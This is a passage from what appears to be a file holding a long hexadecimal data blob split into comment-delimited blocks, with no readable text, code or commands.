d004a19139b16bb8cb63339f07ca4e533e8f7b88a41f1bd77c5096ac2a92824a646b4b93f7f65bef6ffa669d9a8b8aeacda4eb177e6fa9e842c120026ae30d9f0aa98b0f9d561ea4dee33a9114772e685713393dd7f60429c0272bcf12e391114c89a153d6cdf0e2ca2c2576457afaf62232f6e6786ca1a2031c651f33e1a7d6fa25c0ee8366ef3c68c192c0dd73c349eca1a63d2b04c1bb3f14a188393ca51b8f8ce2129cf2d31f98de4a6cb5d04b3f5e2417ddf99e763157a1ccdf97d5258785f3477c0f069e6d3e2b3db629778de4dac8d96187a8116f5491faa136d693e903a9db3fdee428af6c5ebb76abbcb6faaa17915f0ed9a24439265fceb025d3ac95afb9ce8cf12ba2dd8e08d5e66fd4fc6aeef626ac31c43e4331e243a1292cae79107f0ac1465d13bacd1a9c5b6cc4ff4b53d77f2e9eb2a39e7f95a7decc0d44cae798cd06c88e3fb81a803d60b2fb896956a9da5e4b085eee3116c1941208782bb7f130eaf191cb7a3f155398668da9833ef1bec6c2a6a504b4b008a5fd9627aff21d99cab446d62db3c5170dfed72ad221ac54145690e71c3c7f9b09859afc11012fd54bd81ed7b8408e698ad7f0fd60b46695c7683ecd199935ac9ab53f3bba6993c4c70279d73def17ce827b2cef4fe650e0678ba3f534600b5c0763bc66d8a6de749820f0d9f51e7a5d44e6593ddf8eb929de0aa5db0187a642456a17b*/
/*775b6ed0a1dd617cb77d3db736c13e8276c8bca210b83627a584c59f1031618ae248ea8a44cbd4f65f7467dfc8714740a0c0123ba053885a987a6ed5a14e73ff14d640e638bc7090b4308bc3862a33f843a301050dfaa699b5095a161a02700fbe364e897d2edc1a61773d0c6a5591e9dccf12e2384298588a623b5214754ed4ebbf9a52874f0884a2543aacbef5ffe5070d86e9ee6dd18e51856346f87e9b0d6a7c4bf7dbbc942cfba333732a918cacd788198147d5685bb6db05d0e16f2814080e87fdec87604bdcffe328df47e31a103edf72803a733d716cbe24d76b77a6bebcd3003b48a4b14cef58f51fea8a74c817969d4d175f464bda9509ee73adcd1a2a509b0f2fd878a6f4c881aaf0e4df8bd0209072feb02efcb72348f954d9e5abf8437259e30a43e679a95077c2f46680407f3aa2314037ba13c7dc3cfdfc791468e801ce5ec6ebbbe24a0850d97325832ae8edac6455be126158a7779f7b6fde05394787db92ae5c1939fac3392f646008c815258fe2f533215d923a4edf8c894ad74446b2669ca912441dd18da608b610a6f0c559141f8186e1f0baee48689df5cf55bd4d53a0ba88606a09450f00f3bb0bc6e9be254d1f6a16706ae9f47923387d4dd174b7b9e5f8a78a7887abb924a43e96f4c67c8c61bee596155c5d7d1e2d1a2a6fd8bc7d423806feb44445267ffea5fa6bbf0c3626322586b039611111d949c2bb88e85d60c2b28db5cdf16169a3c24675de7e13278524ae712f28de7b51ab43133439abfbcd9eb9dfabb0743f0bab2e6b1a13b89df36fdc4ae7ae8668fe0f6081a60316a32f3accecd8f436e0cc820c2d98c70fd1faec74fe543e1adcf16557c37219fbcbe23e7fc417a69cc684fe8ec868f9607d73eeb3dcd99b8dede8ee97ca271ccfc0d4d605ada96d32cb1014024f84df73fa81c8b6791f301ab297057898a464ec95e66f77798edf1e49299fe2a89784f5fd2126dad3bd0a3ef4b2ea9a875711db559c1047c5cb59d3e4f9cce1604ccf29f0f099395fd61ca015561731f92dfe164359a4b527d4a59e9d111f66d94243a594121441a56c2857cc72180e17ec9cc136002a96739666f754e86203a914e39d1daaac6e39b6e2b994b19f67dcf0cdbab1820ef89ef9c83e450bd73ecc4ebc57e7b41ef523e270589c58b0258e559095e668626682ad680854675b8a797718c011c8b97a46f22ec6fd3efcdcb9facf45a10ff65647da193990c38feded5f1122c6d614ac490112e26098582b9be605bc478acc9e62e3937b1597cf4944e694546c3718ae1888f929b211a6e21bbc8ea5655c5bb2f4dd16f2d83311373ed3cf38722f8d08a91e8d3c899bd55820ae2d85e6df3876691e4c8a714a86b66e5a0d150b92c64f9c95e3ad6347f32dfd2a24d124fba042475ee64b6bf9622566e75592c7760738b2914c1a90cd5757dfc62d0c2657ae925d65ad7113e04bd6ba372234bb25d7dcad3e635f19a8c2653a40d63c1353b3d4037986591a2dd2a49baa5e4c8f1abbaba08986ad7e799579b4da0aefe797e2b9132ff251c99227066bb2e6546fc235ca20a8909cb2e9ab118f3fe4f67a0cb7b8b17dad418fefa23bb0442f3c6fccae55b92cc8a0848af96d0c3d18964fdbfc661303ce44f87ab963dc9c40ef752f4771cdebee4b9d4b851e56e92a9860441983b0b51c622732c65749aa670b2070c7dff6879061fc11b44fbc3ed29cb8c8d5bd910b87c797d2fceaacefabed90552d60639e8712bd0423ee40575d5a0354324079b1055e325571f0f3004a777e7bef29571d82d3c9dffde788ab1f7ebbffa1212fa804df9d27dc1ed205160435d01f52db17cba22398856634126a18f3770381276623efbbae2ebff50e84f4bfb05575c94997d7d5bf22f0ed7cb837d69f91b534d0b02a1a50425a921953ccea79b8628f956393c076f1818b5f1fd71aebcf736e2d4fd07da5555be6ac38d08243bfe4e47d7f5f9c17db6066c80762d2b015e7c4815c64c0de6f4e6dd641bee21eaa2e42f5cc27b3053a55efa804a18e5ea7df0916516aea9500f3fe9e67df7ed20c5dc5edbf0f73252f98bf0c2d7cadc0d6ea02b5768d8f2c82269ed4810831a467f99a2764f9318e830599515725532204584d8810fb679bbf07cfccb84fdd0e1148fa4171226bfcd4c317cad71f0dba0f4f137c704e36bc5a8d0987bb11ddb3520b84161228a7da5b7a767284bc7bb091fa8fda8188dde42deb3d828ed86d086160d5a82505e54fee5265c7099fc6af2764dcc09e70a3e9b49fce065814fdd0ace2d98e634cfcdb418adfa9210808c6b5b4069fe83069f343fc90c2eaf060dbfef1ca92e7520f59dd4e50cfd6f2a84c0d6841e0f53be2aa7ce7be8f7026f0ac4ffba01348f9453b2882a4b8ac067df3e2dbd096d8716e04009f6f899b03b1c51f9f4659917bea5e22b39ef7cdaeebe89ab4ff6e1b3507f019b5f1f07e1afe741428e8f6f96a574e7be9a6157da08de935250a2ff3bb17fc0df44fdd74c8595ab76fb57d113f185612e11023445ba1cdeafa8b4844b507fc9fbbc53106bfcad69599e80263b9530907204d114996d2fecb890cacea4db152d98aff357a4daefe5f90fab042be4eee0b1f7554043c21525d20341db5f6ed093f66c0dbc60b624ffd7a3459917c5065e13d9532921dc01091e95ce22c3204136c35944f0283265004ace9a31810913d57ff2caf72c39639f46fc37d7013dda9a6bdaeefd77209de1298e3a6539957189516883565b567955429a154dc41355b48fc930125e0afa35d068a4a44421a90826cf3b0903b917c11913e8e0bb2*/
/*2dbd195473144d08e59b8c573da6dd9b9aa6c4582175055300e111154431294d1f0bf2434488d99cdbce053563daecb4922a9e9d856fbf594ccf3967968a41140f4d097be0bbc91b5dfac28814007cdb9dfc92d8ef4376f8dc7139ff0ef1d7ef8c51f7c4e090f3e1d64b35abb76c7f6b0095fe4bbdae548a65674c2dc151296c62c9e4d898f9441c0bda013c28572e7db85014330250d6295823c1e44443d331d49e7f9708bf90102123504c91b317851ecc4aaf0bd7c0655745c901d85c04e2a53c5adc453159b980bbe6ba3ad3599e2dc3529a2a0c2aa8f5130888254c887565fe2c67bfb355e5cd2f1b07c987a1e023d15138aee72f416a21f9dd02c89fd7d6de4666c94c5f27c7fff31ed04cd27cd6140223fabab5895f8d6638341450139f25189e26272c822627734ac0c62bd9ca95cf76b11dbc40f64902a062d2e76c2fe890ff392a7ee5ddc39ff1717b11f3c03ad33f23cd26a434261415bb323c0c1fd57c2ed60d5424810f261a0dc99b3815b4e52d07549031e3ac0657d8cc2ec7b7e6c1e8602d537803852ef9525d3bd5372c85a8ffc960d0c84a4454aff36f3d0148f1589af26615e1b4a3e1ab23bebd9f9262a64d522d1bcd2acf0d6192378b7a2351814ab3b10ab8153fa6bacc68385ae2fce5bd81624c0064a3999c7edbdad7ed0f2d8df65b8349229832da1d5fc01a04a25adc346d2576f50e5a71b0ffbab6c86742d83fa157d814e55825d987d090697dc7dbd933856b9abe4cb8a895621863a3e291f20191d2875466d47b670d2ce438de5eb7ec22a058433caf4e04b760dd95b26de28a1f2d44664cf46fb5a47d8bf31661e29240b067b7bb69e9880015559a2f93fb346d024f990b1e10e4021baf93a9292cd1e1f68b1d317f8da069e5bdc398d51aa7d3aa6390e4b99ebf6eb2f0a04491cb2a38e94911378e1cf24ff3ee45b1eac0b83f386be3b42d99b85bfa2a232c42c0b42458f6d65ee0dc78063ea0d6995c1968bcf977d82d552de4e9fa393f2a809312a39343cd3dcdd43ff99da6a3b842c23fc465f23e9aa7c4d659508d6d8767d647de66f0669054a5d79fd866f86a6bad5ba75bade035a1521332e044fcc0f34d954dbe068dd235155d1a5521b54c034cb3144435f69273242e60d6333d1af4db128f14f5c2a8e73f6af521fafd73659afe6cb0deebb31a62760a749d10ed684b34d903561a48daeba01454f947e6024e923f7081a14a1546af77971e07346737a1bd18a8a16db3ef66a808ed73ffe31d5095692d19e047ea91a55e9e279e030b5ce89635af546af3c38c9f48773ead5c74ee1f9f85b1f21aefd9e1e54f5185916713ab987dd2304c81ab7ce0cd7cdd2c7ca457c12377fa37d663961cbef12fe92f3cd428dd34bab34e02d4c732f6c62fb46fb1b8c545b7860cead31d4908fc58da793f59416ebe203d20c14839cfc02235a57ff96e2c7afbbd63b73c5a83f4248eda8ae64d9cc8343f4671ba2d55bb2d777d509386bc85bb4cc463ceb459bddf171f6c4414a44c755c84cc16b893cc515a6aeab9d5edefd5232c0dcdd499057cbea81c31cb3e845579f3aa779323cfb10559d44a60d357b78a8fd8cdc081a01ecab9e1ee90b1474a9e745341fe00a14f109011fb5cb3152841f4a632430af1384beb408ecee5fe2aa6d64bab8b553fc840f1b2c38daab65653778b90b81d6cd5519d3eb9d16820637d667d0b2656e2867d26040d39cd3cd4eeea7b9d34aefd0bed4b7eb33177ea5beeae65b0edab86c9ab304cd1eaaa219da1d48597e5629ebd9095fe4a36fbe78e8dc6d215fd91e56bee69d8f8753415c6a2dcbe3a8a51f92e2309346786f9fc6d24ab257414563ff6211c69240a27f71fe1ae335c09d3d2dca50e61c5bfae89399adb2dc221af60d79ab12354ab4e595f2ef111943601be8d96c73ca6708405403bfc22d2a16f4aa6f62f0480db7d3036f2b8379d2066ae072780b9edb60f61ef24252718feab879821a468e978726ee3544c65a1f588cdf73e00f1c2fb1cf0a2612e7db1536bce79d3b6356ad66d540f55fb92b2852bc6fca365fbc37630191ec7fcc5f2c1782a634d3cf3756085638097fc1fff2e71e80b1c4e43a62cb6d9250753b1e3126d43a3041c587a9caba04efe22c69365017d0c17b8c802c68140a2ed24bc3624a84c4efd236d45b0470c45bd18e1e24ce156e5d2547d4b4baaaf3268562b9d58a8e782aead870bcd4a54636858aa4db7aaff839e80caef3e2d083efedef7dc8e3a7a7c9179565b084f0567ef02929350f92574758fa481a7f6eb05610b197abc7a07bc7926fbc8a2c6165d9fe974ab065d280cf92ddaace71b3a4053cd62998501ba54c29e8ab88f939e716b35764a0e89fd573989df7e1b3a8d822e1bcdb3be8b781f57503427a8f4568d814d4255b19d61c31f6c1a8f8e3734085826fc06899632f2159ca9b37862b7b0a3a3e74157e8f415729f5853ac4f597d4d1c365dc49fe2c873da0b65f7d51401228c3be02467756e2c56498c29ba5183a2f1edbfb7a1fdcae888b055904064804d5d6ceef217d89a2ccb3b40962265628fd1bb9aeb7a45b9585eacf5d23ae236f67d50df60998b027e98d3c3412e97450e0eb25c40165bee3ae2afe8d27c904307abd2e881aea6e9bae9850b8b428dd35d2fe14a002af3879c7d0ad9c2c1842a65eb1d129225d9ed35bedfc7085b4e5f274f317a3e4bcb38bb5c9e91bf145157a1535bac02300b1d24e008ae9dea5e43abe21bc772f6a3a45cc75275f4bab1c03f0ab629cfae5dfbe5fe3727e701e445a6b5580f020cd4a06be4d9314ec3ee5ce055*/
/*686bf4b30cea47af856258cd1df179cfa9d7d2bac541a1757d386cc29ff96061b2848e087e2fbcb964b801df76b6dac966d5cc0b2dc3f7111da351a0e448cd34ca172401a25276fc7cc14bc6fe52194532bab033e61fb933abd77672099215f36480d107679d4a51dd4be8823f0c3bda39a9776fefff918e8c0d1b8456ef3a61de1b07dc55f23509130b383afd1ff98656752bc8d1982754eea8552a89373c689cdd6cb9b10936047247b1b7852bc1df40c04117ab26c984463cda00b84b98bb369fda0a5c654a04419076e46be796ee202ea04d9732f8f29c7cb244c203bfab9ad6bfa22ac373a5bad01278193fad93d4bc33177d4b59b51e46ff3b0544918e0a26e0b603a2a15154978624ae8a4bed25e8a824ed8a20f2fa47836487693b0cc22cb30b06489db229736b8dcd3dec1fbae5bc8a61487a3024e410ef1a0e535df2f6b3013558b40781929d41ffa9751346967809b5f5207a7beb6874cdda02335d950327765f2c172e8ecc2eefe72fd0c1342dbc8d79ad36cded940cc68a4db762f14f6437e208fa515b1f818688ec6b805ed5fcf6605c21fcd5491e9b62487d683df5d334ea2196287fdcd9f2194ff0dfeccce335f588af57b95f4365601e44b28c25fd7c19f315501f8ee10e1d04f53c8ed5dfdf35b3d740decaa85f75e83b6545acbbf59fb8cfe049ae9c2a0325afd87e55c023174b94fe21d053b1dfff17de8b1e8924a24a64d799500fc1c520edfc7f4dfd14e8f3ce8c019118fa72d23aad957554a1b55bfb442d045d9abf2fb5aae851f6d5f6eecf7d801cb185431f6df089413e7bb799c17ea667a4c8856a89c50a436254fe4f7c607847137934fbd9eebcee71c94d13d31f960bcbfef3bb183a55d5d6379b8608dd128718792f1662e077fa08ba1938e38f65268b46341be604b90078e4b503ee7c658d625439c2054141a838442beac6039cc29976eca253ae357960e8e0e11aa07ce90511d940a59ace6abaa6eae263e8c847ee32bd6d3429ae8393d472f59ddcaf2ffbd84a297f8b2ce8e19420dd4b87793572c79f86edc6fddb474545769f157933b802751ae159543c855c61e9e64621590a4d2a764ac3100e7ae88eb3688437e33b1cd582d5e6cb1bc0806cd5a1a7c93a5d04e0ce22c689f7bd4b28277af049bcc993ffa43b2e5bd1151cbe6537e8caf07e7d4ae0a1d244eaaf518aca42a40c3c959538ebfc1639367c68e1d0e17011f6925547761b95efcb9b55047f19ed46f4711db6461c02ccacee0e8e189c251a704c712832821c3b0a4f1571dfc0058a3889b7e8ce2d0052f9a70418159057632b70d9b548c169b29077d6f954618c554fc816b0e61afe7cf94f061f255180c9042987da52b41eb1cba5826d6206cdff9e399c038e1cad36e77140c20269565a9b2e881480aa4109facd149949cd222c858a55321ce903cd7f9d52cd2344723bf9b0ef510773444b8403345a0d248402c8b295c128a29549577bcaef083fd2e0fc9e68767211b636a1160e9247d6703495e4aaf03eb95374935bb58fd337adf0d12075d90dc1f1816eda8df54b723fed273a875818896113e34b66a2094550ce873441814a0e0c7b20ad4d94dd7f5587c04f8103af4e7eb5aa48f8a06313f1975831cd671919475425e133c5e6009081518178aab7a272b9c05b7eb1cbf3710a9087ff5c3969ea1d486f1644e15fa679f310cccad255a7daa140e95a91225917bd9ea1d57497ebc351cd96e373a73a544dd86140f95c7a7d42d7af1fce438cb2c2e7fcbf5d2f8931299c008fb368ac2d158afea77c19eae0470d080429895fda1cf88925abd2fcb1e4ed0b6e2057637300c5fd4c4f171b3795c4d596fb9f7df1a960f9e0131744aec2ee1f932e50e5209c84e4578398f974909b5db10aa5eefdc5120d6acbe3cba4dba209e8016ff53172e3bcc32eea257855234e4cf16aaa478193524133e6079c69043b66236458cb70120fc56bc31b4c49f99515fc208b3ef75546054a924af51047d83f17e1f6aae608ca8145f02611ae5af42744bd835ab4e15d46d806f1d463693665085a726edd0d3e82655d21492c56526c12c496dcb4db5be5fc6e5edd35c2174dbf73b15bba743101ae919611f56648c501fb019670c9355e17f16ca6f2ca4f1ff21cb3e24e944bda937a482672b5da9d38439aa2e795a8d4d887b6c86a8c4f1dee1c9ccdf867bb95995d0a6fd2a3691b5e19f0271f5cfd3d96be4e22281de192838